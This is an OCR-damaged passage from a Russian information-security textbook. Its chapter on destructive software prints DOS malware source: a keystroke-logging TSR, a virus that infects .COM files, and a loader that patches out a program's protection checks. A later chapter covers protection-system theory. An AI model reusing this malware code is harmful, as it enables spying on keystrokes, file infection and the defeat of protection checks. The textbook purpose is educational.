Методы и средства защиты информации. Внимание!!! В книге могут встречаться существенные ошибки (в рисунках и формулах). Они не связаны ни со
Скачать 4.86 Mb.
|
Глава 14. Методы и средства разрушения информации procedure STI; inline($FB); procedure TSRCrap; var F: File; begin CLI; BeginInt; STI; NeedPop := False; Assign(F, ArchiveName); {$I-} Reset(F,1); {$I+} if IOResult <> 0 then ReWrite(F,1) else seek(F,FileSize(F)); SetFAttr(F,ARCHIVE+HIDDEN); BlockWrite(F,KBuf,CBuf); { Запись содержимого буфера в файл } CBuf := 0; Close(F); Tick := 0; CLI; EndInt; STI; end; Продолжение листинга 14.1 procedure RunTSR; interrupt; begin CLI; BeginInt; STI; Inc(Tick); if (Tick > 18.2 * WaitBuf) and (CBuf > 0) then begin NeedPop := True; if Mem[DOSSeg:DOSOfs] = 0 then begin NeedPop := False; Port[$20]:=$20; Разрушающие программные средства 261 TSRCrap; end; end; CLI; EndInt; STI; end; procedure Int28TSR; interrupt; begin CLI; BeginInt; STI; if NeedPop = True Then TSRCrap; CLI; EndInt; STI; end; procedure New9h;interrupt; { Новый обработчик прерывания 9h } var Tail : Word absolute $40 : $1C; B:Boolean; begin B := Port[$60]<$80; inline($9C); Old9h; { Вызов старого обработчика } if B and (Lo(MemW[$40:Tail])<>0) then Окончание листинга 14.1 begin Inc(CBuf); if CBuf > 255 Then CBuf := 255; KBuf[CBuf]:=Lo(MemW[$40:Tail]); { C охранение клавиши в буфе - ре } end; end; procedure InitTSR; begin NewSS := SSeg; inline($89/$26/NewSP); R.AH := $34; 262 Глава 14. Методы и средства разрушения информации MsDos(R); DOSSeg := R.ES; DOSOfs := R.BX; end; begin InitTSR; CBuf := 0; FillChar(KBuf,SizeOf(KBuf),0); WaitBuf := 5; { Задержка ( сек ) перед отправкой буфера в файл .} NeedPop := False; Tick := 0; GetIntVec($9,@Old9h); SetIntVec($9,@New9h); SetIntVec($28,@Int28TSR); SetIntVec($1C,@RunTSR); Keep(0); end. Перехват и обработка файловых операций Программное средство защиты информации ( ПСЗИ ) производит некоторые файловые операции Для этого открывается файл , часть его или весь файл счи - тывается в буфер оперативной памяти , обрабатывается и затем записывается в файл с прежним или новым именем Активизирующим событием в данном случае является , как правило , открытие файла ( int 21h , функция 3Dh ), либо его закрытие Таким образом , закладка порождает в системе “ исходный файл — ПСЗИ — вы - ходной файл ” новые связи , включая в них свои операции и массивы данных Рассмотрим механизм работы закладки для DOS, которая встраивается в це - почку прерывания int 21h для следующих функций • Открытие файла ( функция 3Dh ). Закладка отфильтровывает нужные имена или дескрипторы файлов • Чтение из файла ( функция 3Fh ). Закладка выполняет прерывание по старо - му адресу указателя , затем сохраняет считанный буфер в собственный , обычно скрытый файл , либо исправляет в буфере некоторые байты файла , кроме того возможно влияние на результаты операции чтения Данные дей - Разрушающие программные средства 263 ствия особенно опасны для программ подтверждения подлинности электрон - ных документов ( электронная подпись ). • Запись в файл ( функция 40h ). Закладка редактирует нужным образом буфер в оперативной памяти , либо сохраняет файл или часть его в скрытую об - ласть , а затем выполняет старое прерывание , в результате чего записывает - ся файл с измененным содержанием , либо каким - то образом дублированный в скрытой области Закладки такого типа могут навязывать истинность элек - тронной подписи даже тогда , когда файл был изменен В листинге 14.2 представлен пример вируса , использующего механизм пере - хвата файловых операция для модификации файлов типа COM своим кодом Листинг 14.2. Пример перехвата файловых операций для выполнения несанкционированной записи в файл .model tiny .code org 100h start: push si push si mov es,bx mov di,2B0h cli cmpsb jz loc_2 dec si dec di Продолжение листинга 14.2 mov cl,50h rep movsb mov si,21h*4 push si movs word ptr es:[di],word ptr es:[si] movs word ptr es:[di],word ptr es:[si] pop di mov al,2Bh stosw stosw loc_2: pop di lea si,[di+50h] mov cx,sp 264 Глава 14. Методы и средства разрушения информации sub cx,si push cs pop es rep movsb retn ; новый обработчик 21- го прерывания cmp ah,3Ch ; функция создания файла ? jne loc_5 ; если нет — на выход int 0C0h ; если (2B0h+50h)/4 = 0C0h, т е адрес ; старого обработчика int 21h push ax xchg bx,ax mov si,dx ; si = dx locloop_3: dec si lodsw cmp ax,'mo' loopnz locloop_3 jnz loc_4 push ds push cs pop ds mov ah,40h mov cl,50h cwd int 21h pop ds Окончание листинга 14.2 loc_4: pop ax clc retf 2 loc_5: db 0EAh int 20h end start Разрушение программы защиты и схем контроля Разрушающие программные средства 265 Допустим , что злоумышленнику известна интересующая его программа с точностью до команд реализации на конкретном процессоре Следовательно , возможно смоделировать процесс ее загрузки и выяснить адреса частей про - граммы относительно сегмента оперативной памяти , в которой она загружает - ся Это означает , что возможно произвольное изменение кода программы и обеспечение отклонения ( как правило , негативного характера ) в работе при - кладной программы Тогда алгоритм действия закладки может быть следующим 1. Закладка загружается в память каким - либо образом 2. Закладка осуществляет перехват ( редактирование цепочки ) одного или не - скольких прерываний : • прерывание DOS “ запуск программ и загрузка оверлеев ” ( int 21h , функ - ция 4Bh ); • прерывание BIOS “ считать сектор ” ( int 13h , функция 02h ); • прерывание от системного таймера ( int 08h ). 3. По одному из трех событий закладка получает управление на свой код и да - лее выполняет следующие операции : • проверка принадлежности запущенной программы или уже работающей ( для таймерного прерывания ) к интересующим программам ; • определение сегмента , в который загружена программа ; • запись относительно определенного сегмента загрузки некоторых значе - ний в оперативную память так , чтобы отключить схемы контроля и ( или ) исправить программу нужным образом Принципиальная возможность исправления кода следует из того , что вывод о правильности работы программы делается на основе операций сравнения в арифметико - логическом устройстве процессора Сравнение результатов работы выполняется командой CMP , а результат сравнения изменяет один или несколько бит регистра флагов Следовательно , того же результата можно добиться , изменив эти биты в одной из команд работы с регистром флагов типа CLD , CLS , LAHF и т д Наконец , возможен случай , когда содержательный код программы защиты вместе со схемой контроля будет удален из памяти полностью и все последую - щие операции будут выполнены без влияния программы защиты Таким образом , анализируя в данном случае действия закладки , необходимо считать возможным любые искажения кода программ Основным способом активизации разрушающих закладок является запуск ас - социированных с ними программ При этом закладка получает управление пер - вой и выполняет какие - либо действия ( изменение адресов прерывания на соб - ственные обработчики , исправление в коде программ защиты и т д .). 266 Глава 14. Методы и средства разрушения информации Листинг 14.3. Пример закладки , разрушающей схему контроля {$M 1024,0,0} {$I-} uses Dos; const CMPSeg=$2E7F; { Адреса ячеек , подлежащих модификации , } CMPOfs=12; { указанные относительно PSP } JMPSeg=$2EA4; JMPOfs=2; var DOSSeg, DOSOfs, Psp:word; OldInt8h:pointer; procedure Int8h; interrupt; begin if (Psp=PrefixSeg) then begin if(Mem[DOSSeg:DOSOfs]=0) then asm mov ah, 62h int 21h mov Psp, bx end; end else begin MemW[CMPSeg+Psp:CMPOfs]:=$9090; { Запись NOP вместо CMP } MemW[JMPSeg+Psp:JMPOfs]:=$9090; { Запись NOP вместо JMP } Окончание листинга 14.3 end; asm pushf call dword ptr OldInt8h end; end; begin asm mov ah, 34h int 21h mov DOSOfs, bx mov DOSSeg, es Разрушающие программные средства 267 end; Psp:=PrefixSeg; GetIntVec(8, OldInt8h); SwapVectors; SetIntVec(8, @Int8h); Exec('SECURED.EXE', ''); SetIntVec(8, OldInt8h); SwapVectors; end. Ч АСТЬ З АЩИТА ИНФОРМАЦИИ Глава 15 Подходы к созданию комплексной системы защиты информации Для рассмотрения проблемы ЗИ в общем виде выделим в ее предметной об - ласти три следующие иерархии : структурную , причинно - следственную и функ - циональную Способы ЗИ зависят от типа информации , формы ее хранения , обработки и передачи , типа носителя информации , а также предполагаемого способа напа - дения и последствий его по влиянию на информацию ( копирование , искажение , уничтожение ). В основном владелец информации не знает где , когда и каким образом будет осуществлено нападение , поэтому ему необходимо обнаружить сам факт напа - дения Определение потенциальной ценности информации позволяет подумать в первую очередь о безопасности наиболее важных секретов , утечка которых спо - собна нанести ущерб При этом важно установить 1. Какая информация нуждается в защите ? 2. Кого она может интересовать ? 3. Какие элементы информации наиболее ценные ? 4. Каков “ срок жизни ” этих секретов ? 5. Во что обойдется их защита ? Опыт применения систем ЗИ ( СЗИ ) показывает , что эффективной может быть лишь комплексная система защиты информации ( КСЗИ ), сочетающая сле - дующие меры 1. Законодательные Использование законодательных актов , регламентирую - щих права и обязанности физических и юридических лиц , а также государства в области ЗИ 2. Морально - этические Создание и поддержание на объекте такой моральной атмосферы , в которой нарушение регламентированных правил поведения оценивалось бы большинством сотрудников резко негативно 3. Физические Создание физических препятствий для доступа посторонних лиц к охраняемой информации 270 Глава 15. Подходы к созданию комплексной системы защиты информации 4. Административные Организация соответствующего режима секретности , пропускного и внутреннего режима 5. Технические Применение электронных и других устройств для ЗИ 6. Криптографические Применение шифрования и кодирования для сокрытия обрабатываемой и передаваемой информации от несанкционированного дос - тупа 7. Программные Применение программных средств разграничения доступа Обоснованный выбор требуемого уровня защиты информации является сис - темообразующей задачей , поскольку как занижение , так и завышение уровня неизбежно ведет к потерям При этом в последнее время роль данного вопроса резко возросла в связи с тем , что , во - первых , теперь в число защищаемых по - мимо военных , государственных и ведомственных , включены также секреты промышленные , коммерческие и даже личные , а во - вторых , сама информация все больше становиться товаром Таким образом , для оценки информации не - обходимы показатели двух видов : • характеризующие информацию как ресурс , обеспечивающий деятельность общества ; • характеризующие информацию как объект труда Показатели первого вида носят прагматический характер К ним относят важность , значимость с точки зрения тех задач , для решения которых использу - ется оцениваемая информация ; полнота информации для информационного обеспечения решаемых задач ; адекватность , т е соответствие текущему со - стоянию соответствующих объектов или процессов ; релевантность информации и ее толерантность Показатели второго вида должны характеризовать информацию как объект труда , над которым осуществляются некоторые процедуры в процессе переработки ее с целью информационного обеспечения решаемых задач К ним относятся : эф - фективность кодирования информации и ее объем Методы определения этих пока - зателей достаточно полно разработаны в теории информации Показатели оценки информации как ресурса Важность информации должна оцениваться по двум группам критериев ( рис . 15.1): • по назначению информации ; • по условиям ее обработки В первой группе следует выделить два критерия : • важность самих задач для обеспечения деятельности , Показатели оценки информации как ресурса 271 • степень важности информации для эффективного решения соответствующей задачи Рис . 15.1. Критерии оценки важности информации Во второй группе выделяются два составных критерия : • уровень потерь в случае нежелательных изменений информации в процессе обработки под воздействием дестабилизирующих факторов , • уровень затрат на восстановление нарушенной информации Если обозначить : К ви — коэффициент важности информации ; К вз — коэффи - циент важности тех задач , для обеспечения которых используется информация ; К из — коэффициент важности оцениваемой информации для эффективного ре - шения задач ; К пи — коэффициент важности оцениваемой информации с точки зрения потерь при нарушении ее качества ; К св — коэффициент важности ин - формации с точки зрения стоимости восстановления ее качества Тогда полу - чим : К ви = f (К вз , К из , К пи , К св ) Иначе говоря , для оценки важности информации необходимо уметь опреде - лять значения перечисленных выше коэффициентов и знать вид функциональ - 272 Глава 15. Подходы к созданию комплексной системы защиты информации ной зависимости К ви Но на сегодняшний день неизвестно ни то , ни другое , и есть веские основания утверждать , что и в ближайшем будущем эта проблема не будет решена Однако иногда для этих целей для конкретной информации и конкретных условий можно использовать подход , основанный на неформально - эвристических методах Полнота информации — это показатель , характеризующий меру достаточ - ности оцениваемой информации для решения соответствующих задач Отсюда следует , что и этот показатель , так же как и предыдущий , является относитель - ным : полнота информации оценивается относительно вполне определенной за - дачи или группы задач Поэтому чтобы иметь возможность определить показа - тель полноты информации , необходимо для каждой существенно значимой за - дачи или группы задач составить перечень тех сведений , которые необходимы для их решения Для предоставления таких сведений удобно использовать так называемые объективно - характеристические таблицы , которые представляют из себя двухмерные матрицы У них по строкам приведен перечень наименований тех объектов , процессов или явлений , которые входят в круг интересов соответ - ствующей задачи , а по столбцам — наименование тех характеристик ( парамет - ров ) объектов , процессов или явлений , значения которых необходимы для ре - шения задачи Следовательно , сами значения характеристик будут располагать - ся на пересечении соответствующих строк и столбцов Под адекватностью информации понимается степень ее соответствия дей - ствительному состоянию тех объектов , процессов или явлений , которые отобра - жает оцениваемая информация В общем случае адекватность информации оп - ределяется двумя параметрами 1. Объективностью генерирования ( съема , определения , установления ) инфор - мации об объекте , процессе или явлении 2. Продолжительностью интервала времени между моментом генерирования информации и моментом оценки ее адекватности Объективность генерирования информации , очевидно , зависит от способа получения значений характеристик объекта , процесса или явления и качества реализации ( использования ) способа в процессе получения этих значений Классификация характеристик по возможным способам получения их значений представлена на рис . 15.2. Рассмотрим теперь адекватность информации по второму названному пара - метру — продолжительности интервала времени между моментом генерирова - ния информации и текущим моментом Для оценки адекватности по данному па - раметру вполне подходящим является известный в теории информации так на - зываемый закон старения информации ( рис . 15.3). При этом под t 0 понимается момент времени генерирования ( получения ) оце - ниваемой информации ; ∆ t 1 — продолжительность времени , в течение которого Показатели оценки информации как ресурса 273 оцениваемая информация полностью сохраняет свою адекватность ; ∆ t 2 — про - должительность времени , в течение которого адекватность информации падает на 25%; ∆ t 3 — продолжительность времени , в течение которого адекватность информации падает наполовину ; ∆ t 4 — продолжительность времени , в течение которого адекватность падает на 75%. Рис . 15.2. Классификация характеристик по способам получения их значений Рис . 15.3. Графическое представление закона старения информации Учитывая то , что обе составляющие адекватности информации К а' и К а'' зави - сят от большого числа факторов , многие из которых носят случайный характер , есть основание утверждать , что они также носят случайный характер и поэтому могут интерпретироваться как вероятности того , что информация по соответст - вующему параметру является адекватной Поскольку для подавляющего боль - шинства теоретических исследований и практических приложений важно , чтобы информация была адекватной одновременно по обоим параметрам , то в соответ - ствии с теоремой умножения вероятностей общий показатель адекватности ин - формации может быть определен как : К а = K a' · K a'' Независимость значений а' и а'' представляется вполне естественной |